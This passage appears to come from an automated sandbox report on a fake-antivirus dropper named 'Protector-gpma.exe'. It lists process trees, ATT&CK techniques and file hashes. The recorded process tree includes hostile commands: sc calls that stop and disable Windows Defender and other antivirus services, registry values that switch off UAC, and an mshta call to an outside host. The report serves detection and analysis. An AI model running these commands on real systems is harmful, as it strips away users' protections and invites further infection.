3016	Protector-gpma.exe
2744	iexplore.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2284	cn86j85204q2lk6.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
3016	Protector-gpma.exe
2744	iexplore.exe
2744	iexplore.exe
2040	IEXPLORE.EXE
2040	IEXPLORE.EXE
2040	IEXPLORE.EXE
2040	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 2856	1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe	28
PID 1924 wrote to memory of 2856	1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe	28
PID 1924 wrote to memory of 2856	1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe	28
PID 1924 wrote to memory of 2856	1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe	28
PID 1924 wrote to memory of 2856	1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe	28
PID 1924 wrote to memory of 2856	1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe	28
PID 1924 wrote to memory of 2856	1924	70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe	28
PID 2856 wrote to memory of 2284	2856	4vvp77et9k06cow.exe	29
PID 2856 wrote to memory of 2284	2856	4vvp77et9k06cow.exe	29
PID 2856 wrote to memory of 2284	2856	4vvp77et9k06cow.exe	29
PID 2856 wrote to memory of 2284	2856	4vvp77et9k06cow.exe	29
PID 2856 wrote to memory of 2284	2856	4vvp77et9k06cow.exe	29
PID 2856 wrote to memory of 2284	2856	4vvp77et9k06cow.exe	29
PID 2856 wrote to memory of 2284	2856	4vvp77et9k06cow.exe	29
PID 2284 wrote to memory of 3016	2284	cn86j85204q2lk6.exe	30
PID 2284 wrote to memory of 3016	2284	cn86j85204q2lk6.exe	30
PID 2284 wrote to memory of 3016	2284	cn86j85204q2lk6.exe	30
PID 2284 wrote to memory of 3016	2284	cn86j85204q2lk6.exe	30
PID 2284 wrote to memory of 3016	2284	cn86j85204q2lk6.exe	30
PID 2284 wrote to memory of 3016	2284	cn86j85204q2lk6.exe	30
PID 2284 wrote to memory of 3016	2284	cn86j85204q2lk6.exe	30
PID 2284 wrote to memory of 3052	2284	cn86j85204q2lk6.exe	31
PID 2284 wrote to memory of 3052	2284	cn86j85204q2lk6.exe	31
PID 2284 wrote to memory of 3052	2284	cn86j85204q2lk6.exe	31
PID 2284 wrote to memory of 3052	2284	cn86j85204q2lk6.exe	31
PID 2284 wrote to memory of 3052	2284	cn86j85204q2lk6.exe	31
PID 2284 wrote to memory of 3052	2284	cn86j85204q2lk6.exe	31
PID 2284 wrote to memory of 3052	2284	cn86j85204q2lk6.exe	31
PID 3016 wrote to memory of 2096	3016	Protector-gpma.exe	33
PID 3016 wrote to memory of 2096	3016	Protector-gpma.exe	33
PID 3016 wrote to memory of 2096	3016	Protector-gpma.exe	33
PID 3016 wrote to memory of 2096	3016	Protector-gpma.exe	33
PID 3016 wrote to memory of 2096	3016	Protector-gpma.exe	33
PID 3016 wrote to memory of 2096	3016	Protector-gpma.exe	33
PID 3016 wrote to memory of 2096	3016	Protector-gpma.exe	33
PID 3016 wrote to memory of 1956	3016	Protector-gpma.exe	36
PID 3016 wrote to memory of 1956	3016	Protector-gpma.exe	36
PID 3016 wrote to memory of 1956	3016	Protector-gpma.exe	36
PID 3016 wrote to memory of 1956	3016	Protector-gpma.exe	36
PID 3016 wrote to memory of 1956	3016	Protector-gpma.exe	36
PID 3016 wrote to memory of 1956	3016	Protector-gpma.exe	36
PID 3016 wrote to memory of 1956	3016	Protector-gpma.exe	36
PID 3016 wrote to memory of 844	3016	Protector-gpma.exe	37
PID 3016 wrote to memory of 844	3016	Protector-gpma.exe	37
PID 3016 wrote to memory of 844	3016	Protector-gpma.exe	37
PID 3016 wrote to memory of 844	3016	Protector-gpma.exe	37
PID 3016 wrote to memory of 844	3016	Protector-gpma.exe	37
PID 3016 wrote to memory of 844	3016	Protector-gpma.exe	37
PID 3016 wrote to memory of 844	3016	Protector-gpma.exe	37
PID 3016 wrote to memory of 1908	3016	Protector-gpma.exe	39
PID 3016 wrote to memory of 1908	3016	Protector-gpma.exe	39
PID 3016 wrote to memory of 1908	3016	Protector-gpma.exe	39
PID 3016 wrote to memory of 1908	3016	Protector-gpma.exe	39
PID 3016 wrote to memory of 1908	3016	Protector-gpma.exe	39
PID 3016 wrote to memory of 1908	3016	Protector-gpma.exe	39
PID 3016 wrote to memory of 1908	3016	Protector-gpma.exe	39
PID 3016 wrote to memory of 680	3016	Protector-gpma.exe	41
PID 3016 wrote to memory of 680	3016	Protector-gpma.exe	41
PID 3016 wrote to memory of 680	3016	Protector-gpma.exe	41
PID 3016 wrote to memory of 680	3016	Protector-gpma.exe	41
PID 3016 wrote to memory of 680	3016	Protector-gpma.exe	41
PID 3016 wrote to memory of 680	3016	Protector-gpma.exe	41
PID 3016 wrote to memory of 680	3016	Protector-gpma.exe	41
PID 3016 wrote to memory of 1336	3016	Protector-gpma.exe	43

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-gpma.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-gpma.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-gpma.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-gpma.exe

C:\Users\Admin\AppData\Local\Temp\70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe
"C:\Users\Admin\AppData\Local\Temp\70935d0e07cdaf318ab5631d0788ed1d8186d65b531b5789f15b561fcfea64f2.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1924
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\4vvp77et9k06cow.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\4vvp77et9k06cow.exe" -e -p4dd2wgad9575xn4
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\cn86j85204q2lk6.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\cn86j85204q2lk6.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Users\Admin\AppData\Roaming\Protector-gpma.exe
      C:\Users\Admin\AppData\Roaming\Protector-gpma.exe
      4⤵
      UAC bypass
      Event Triggered Execution: Image File Execution Options Injection
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Checks whether UAC is enabled
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:3016
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta.exe "http://galaint.online-secure-pay.info/?0=112&1=3&2=1&3=31&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=sqberkoqsi&14=1"
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2096
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1956
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:844
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop msmpsvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1908
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config msmpsvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:680
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config ekrn start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1336
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop AntiVirService
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1176
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirService start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:236
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config AntiVirSchedulerService start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:376
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\CN86J8~1.EXE" >> NUL
      4⤵
      System Location Discovery: System Language Discovery
      PID:3052

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -startmediumtab -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2744
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2744 CREDAT:275457 /prefetch:2
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:2040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
914B

MD5
e4a68ac854ac5242460afd72481b2a44

SHA1
df3c24f9bfd666761b268073fe06d1cc8d4f82a4

SHA256
cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

SHA512
5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

Filesize
252B

MD5
036907847f148cbb33f1ff1d56b8d499

SHA1
98ffeea85e3979a80c165b2cfeb6183ec5f36050

SHA256
bf5b847beb9b7ffd16921ae8d95990975601802c009bcfc062b02427f50411a1

SHA512
d9350750e8ef905a858b684e1175df0af6a1bc160ae720c00ad35ae3dbc91f9e3f9945709e1f9b8f4414afde332ad566f5e92b4ec2dd162dffd421b823a9f6fc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
90851b31c844be0f34f73e3461225a8c

SHA1
9e96fecf805599f151503287bdb20f9dad795a08

SHA256
ec45a73a432f81c22841871b33dfc5078617e82e934aa3538f91087e8ff002a1

SHA512
e3f74b74649844d69a80bd578cd6352e3b10f66f9071a948d18fcfb8bc9f02e0032feb3e6bf381d67dc5622656bc18867c9c01cd25df90cb7bb97b25cfaf8d48

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
7e7b0ef6c0410a7e11d692b7142053e2

SHA1
b45afbbefc9a508f525608cf217b2fdf67b24d66

SHA256
6cf1c66ee8affab8f4a0e16cfd5c506e21ceeff44bf8e080f87bf38a41538aa3

SHA512
0e9cb5e5377570fa3c5b8efe158df2128abd81a16cc93899751474621c7172a0b4924a08b57ad3b40244f41bad738b5899738286cb497e9f37c498dba8af9794

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
0592a23ee78ad50944979daa5ba68407

SHA1
69fb8bdfd1f4615f6f6b2291ef334b2972b03331

SHA256
63283141e655a4dfaefc1ddf7c5c5ca13655c317259d6df0ba8c94ceccc7dc0e

SHA512
98367f2dc11def9d21a8e357e7768d69fe1121c74c5aab9dcedaad0b866fd46961bf0e76cf467496309e67597561c78faf46aa92257df40358d30cdd654cd717

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
e73e29b09b07ace7ef0c65e598fa2867

SHA1
7b8cee0ecf9cc282441f47238c3d37aa14572af6

SHA256
9894fa1db7b3146c210b312999d9ca988e530fe6098620d0157f8444a1e0e93c

SHA512
2395a1e6a6a5a1e42c25d567590a8d8b7de4e19d564d2ef02a4612bf8c9beca31647593e176ff0d6838328b47806025bf36f522b39df983a3f295a76b91a7056

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
e1f3f6b6d8e9909bbf3cc07eba66826a

SHA1
e434d20e828a6fca9fd0d5571b30ec8c88f0b1b0

SHA256
88ee973fd326b634dae7b337923a1317c79de34b6711237a0312bf2349125050

SHA512
07e8507e62bd0e7007b0464034a33c6d5e46dfefbfa2440bb78712503df021a73ff32af571d5bc9adf27090785c93e849d884e6615538a9bda3fa8c2197b64b1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
4a69d46f8f387f543a575a109ec651ed

SHA1
654fc81f4e2a47c7a94d6a9c1224a68f94c91312

SHA256
60b801baf1d58912b4b34dc3b8b85820f36ad316c4a85d3a3ccb5006cea9d0bf

SHA512
86f29b8fbe61e59546890a1a9773dd5ecf5cb2b84103a2a49f038ee50069a2a0b70bbe20a4e66c16a52781490d42723c94595c013756e146770ecfee2e062481

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
a8694cd655c084116a5f3aee6c7fbc77

SHA1
dde86bbb5c84de1b836fbde56b2a100b37037c03

SHA256
d39da2e9d380f4f8d56226c7cf60d6a545dc518489f2370b1995460bbb66db0e

SHA512
113ec39761eafc2f41f8e9b82be1d637c666bb04a1799974691dd2ddf57ee99b987983c8e2a83a284711a6d126d63bb6d92045bf2cc24ab9a9fc3e44eafafac9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
d4a74627ac6b95a60fab98a277738c15

SHA1
667323ef4d9ade3b2bd0997a253b495b2f0d33ab

SHA256
a70fd59c935765558858da316588e1b5b65ecb7e2b6c29d4503b9056c79b1346

SHA512
6cda62d2d17188a3475fc331f8f36b57593dc4a90477f015de42cc97584c919b8fd93cbad3d499a89a9e8bdae0059760e5da6ccb54044988afee44ca52ac734c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
e5dc72eb17d253b7a88886bbb71ec1b2

SHA1
450d4ecd231054ab467aca0b1aa18237f4f10204

SHA256
cfc0244e4005f507a799fed3a10487fd8b111657a523020b3a116eb3e1bd9fb7

SHA512
8e58a88dea4b321f9d82e883350a2cdcb841f65dde24cd7bbaac15c524b040b057c806056ff710728ad4dacc361040bddb241af4213f8c3aa51a021061fdcfe7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
6e29aacede7d4ec724d35105dd6c4ee3

SHA1
c08841dd8168cea5e613f0314b8ec77d1cda50cc

SHA256
766a9b5db953759a7e1c008d464898da0f13c17900455f19614da94b75ed8352

SHA512
fa0a8e4f8d0e815aca2386d6d55f66ca2c7004a64fcd3b099eb8381852037a9489bc2d0af6adfe2b74a0bfdbd9b2141d0ed59749b5e440a13417f1d28c9f54aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
1f41f2af851ecbc98bc6e5e91bcd60c0

SHA1
3f1ee49c8a1e0c7684f87d38e587e05fb83443cc

SHA256
ad98b3c86d104bd9530e02ea3298be3530c84da4f2594fc00c2be2b502f31230

SHA512
cb8123670390c33978a7d43d5a325bd80554a211cc32ff718d9d61467bab5addf966f963f1db5153f336b3b7a92bafe7c23eb249fb97056db4ad722eaf1e2109

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
35fd41d19bcdb40922dbda095611867e

SHA1
1f9e987ac50a9935e8ed6bedba1bcc2594a852ee

SHA256
87fd3435e57a7a63432c2ce8af3719ee9a4cb7db2a00392c0b5f5419bf0f4dfc

SHA512
0ab264e88148cfa45823f0daec28c406c5d4ab8794637bfd809fdb8aeb2a0e534a82dbfa87ead849388eacfae213e3f14dae0df4fc662a18d681b90bc23ba78e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
c12e04e8ec440541b82316ef695e439d

SHA1
1d57038131e589f8994388cc4961bca0d55c660e

SHA256
aed2daa0b244bde712b25d416a30b40991f9b711727e8bdd01c73824147c2db5

SHA512
1909a2447edcda169588c1b3cffa2ee1a5bfe43dcca45b15076ea53ac6a5e19b4953092fd20f061cfa2a5f94bbbd137c2d9f4cad6c0e45db9bbea3015352cdd1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
5120d0cce2e21fd6349071477661a7b8

SHA1
ac680cba286dee7e08aa322e5cd5b8ac22e355fc

SHA256
e0a52715ad188c6c17272ade76efdc35a0ac1e7f7ad2b1900cb933751c075229

SHA512
d078cc99715ec5961088d71e7a6336f14d2986481d05d9f7f42395ad56920d868f7be3dccf4069507f8a1711130a5a4360f9d4a454c84b198ce9eec286ab2985

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
d8c92b6dfee7b0044114f19bf70644e8

SHA1
fe1019a5548e7ca82ebf44f9e795e26726e6a58e

SHA256
f4a1fe6a75cf779775434ac438408cf4a8ede542962a29269adc0aabadc6219c

SHA512
3da98283dc1c57f6ca1b3991c1d45d41f7e38bde9b4307403e491a0756eb792ed9e612c4f013945a2ef2ff2f459642ee27922d8c2ebfefd484cdac15ede29f5a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
333d5d052a64131c0b852f132954990c

SHA1
e1610d9b579823ea46c2257f3bd32da028af301e

SHA256
f09e344e10bcbd0dde3e0c2fc7305c771030c51b461895b07f9e18584ffb67f3

SHA512
6265e164b45a35ed54e3f6cbb99f5de7f70959fd00f3ca2f8dac86395716782986614e199e139bb8ee36ec136e80885094996b2a06a12a1a7274f63c81afcfd3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
b986edeca59e623bce4bdc9c133af0ac

SHA1
619b4ae6c339ca025309c369de4a6defba34507e

SHA256
6a598efd2f2c4bd393111170495b1f41050e6db3673a77190df12fd9b690651a

SHA512
1275adc823a5a99c01d025e0f200faf632aeafedc00dabaf95ac68b8ab40aa8e21ae079596ac843e2173f7bee1ed5f38806c598bc6971cb0d0ac8fcaff58914b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
ab689e7922d588fbde80fa844d6bbfa2

SHA1
38cc0864f6367d41fdf4c50f0fdfb197e87d52fa

SHA256
7db790bc537aa64e5e6cd0911495021b8c8327d2d5512059747463210dcf7d19

SHA512
df1c8fd5b1cb8719a06d41985d4d8ec4ecf3cf893287d6ea76390ee81bf83e4960c7dd564818b71464c9d30eaadc99af3720b5923a387aaa1854389ec940dd3c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
c11c0e90c3e436d35a8e292c97517317

SHA1
d47ec9f97c0a4410ac2bed2870017d571591d22c

SHA256
4f89052fd9103a59ecca2a409c2176228f8e4663c2d3df470a3de52dbbb4b17b

SHA512
3887797e9af62bc174614dd2c0370545350bf82c59ebff25d9b447858082d6379e6ee729337b1be3cacda9bb3e5e9b6f66b36c5dde00bb31551c440f3ff5a85e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
b9831606ccabfb14ab0004ec730a9336

SHA1
7609d3e7d9c8fc45f2f67961b2e423bdfd14ad67

SHA256
632dd486ff0a27a8495fa4a57616100eeff2e8e113a8532c5701e283dfd7239e

SHA512
958c1c9a3ec572678d504601154fcfc4f5ba667dcfefd8cc6edb91afda2c92dc492c95fc600acea916eb6cd8c9872012ada2117aa33f7022fcc192305fc76d57

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
39c80c2e92fa598a8571674c7eea6f3c

SHA1
34eeba877a1a7f7ec0c64f3a1892334a20eccb5b

SHA256
c1aa9d32b803257eb4ee72c4d1e9623c7ede623c74d85bd6b682a315e0a9ca98

SHA512
fd3b9dcf949d2fbaa79560d1466a6adbb5094bbfd34a981a06173d63b3b58321ae55c5b13683c7e2c42339ad79124cd8fc44abda240653e79604c3684766a7b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabDC1F.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarDC20.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\4vvp77et9k06cow.exe

Filesize
2.0MB

MD5
d2d1c9c8bb295f187be0cda58d303bbb

SHA1
90963d63b1068613053acb0f1f2a7ea8ae4bee83

SHA256
af6d0ae360a122ff23b5b3e8ef36176b3697eb0710852ff075e3014b360d8733

SHA512
835693f8414f90a232b0b585a9748ddaa450f76c0b25e98cea44799a2413fc69519e4bf6fb08d090056e6df86c4c107971a8dae8f996d2e9373131c235b6d307

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX1\cn86j85204q2lk6.exe

Filesize
1.9MB

MD5
ca5c540f357be8a95512d23fed022883

SHA1
0122533984c6b90856f1b39c6e5332c0a80e18f0

SHA256
6dc40b6231fef0ddd7533646f3b3a592f6258998a010b519efbf3892d95ba476

SHA512
5129db04faecd4459cc771ec5353e1dd9f5bf584ed190d3178898446644efac93688f6fa1e20690d1208b1494c57af9ec315a78d43fef4d576eb4de3bad4d9b0

Download Submit
memory/2284-31-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/2284-20-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/2284-32-0x0000000005360000-0x0000000005786000-memory.dmp

Filesize
4.1MB

Download
memory/2856-18-0x0000000003A60000-0x0000000003E86000-memory.dmp

Filesize
4.1MB

Download
memory/2856-17-0x0000000003A60000-0x0000000003E86000-memory.dmp

Filesize
4.1MB

Download
memory/3016-39-0x00000000055C0000-0x00000000055D0000-memory.dmp

Filesize
64KB

Download
memory/3016-56-0x00000000055C0000-0x00000000055D0000-memory.dmp

Filesize
64KB

Download
memory/3016-33-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-504-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-503-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-502-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-40-0x00000000055C0000-0x00000000055D0000-memory.dmp

Filesize
64KB

Download
memory/3016-500-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-55-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-57-0x00000000055C0000-0x00000000055D0000-memory.dmp

Filesize
64KB

Download
memory/3016-501-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-505-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-58-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-65-0x0000000005C50000-0x0000000005C52000-memory.dmp

Filesize
8KB

Download
memory/3016-70-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-1050-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-1051-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-1052-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-1053-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-1054-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download
memory/3016-1055-0x0000000000400000-0x0000000000826000-memory.dmp

Filesize
4.1MB

Download